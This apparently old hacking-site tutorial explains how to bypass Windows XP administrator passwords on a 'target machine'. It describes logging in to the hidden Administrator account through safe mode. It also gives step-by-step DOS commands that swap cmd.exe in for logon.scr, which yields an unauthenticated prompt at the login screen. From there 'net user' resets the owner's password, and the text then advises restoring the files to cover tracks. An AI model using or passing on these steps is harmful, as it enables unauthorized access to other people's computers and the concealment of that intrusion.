

# How to reset Windows XP Admin Passwords

Contributed by Estyle, Jaoibh and Azrael  
Friday, 11 April 2008

This hack will only work if the person that owns the machine has no intelligence. This is how it works:  
When you or anyone installs Windows XP for the first time your asked to put in your username and up to five others.

Now, unknownst to a lot of other people this is the only place in Windows XP that you can password the default Administrator Diagnostic Account. This means that to by pass most administrators accounts on Windows XP all you have to do is boot to safe mode by pressing F8 during boot up and choosing it. Log into the Administrator Account and create your own or change the password on the current Account. This only works if the user on setup specified a password for the Administrator Account.

This has worked for me on both Windows XP Home and Pro.

-----  
Now this one seems to be machine dependant, it works randomly(don't know why)

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly:

(this appeared on [www.astalavista.com](http://www.astalavista.com) a few days ago but i found that it wouldn't work on the welcome screen of a normal booted machine)

-----  
cd\ \*drops to root  
cd\windows\system32 \*directs to the system32 dir  
mkdir temphack \*creates the folder temphack  
copy logon.scr temphack\logon.scr \*backup logon.scr  
copy cmd.exe temphack\cmd.exe \*backup cmd.exe  
del logon.scr \*deletes original logon.scr  
rename cmd.exe logon.scr \*renames cmd.exe to logon.scr  
exit \*quits dos  
-----

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. Once this happens if you enter this command minus the quotes "net user <admin account name here> password"  
If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks. Any updates, Errors, Suggestions or just general comments mail them to either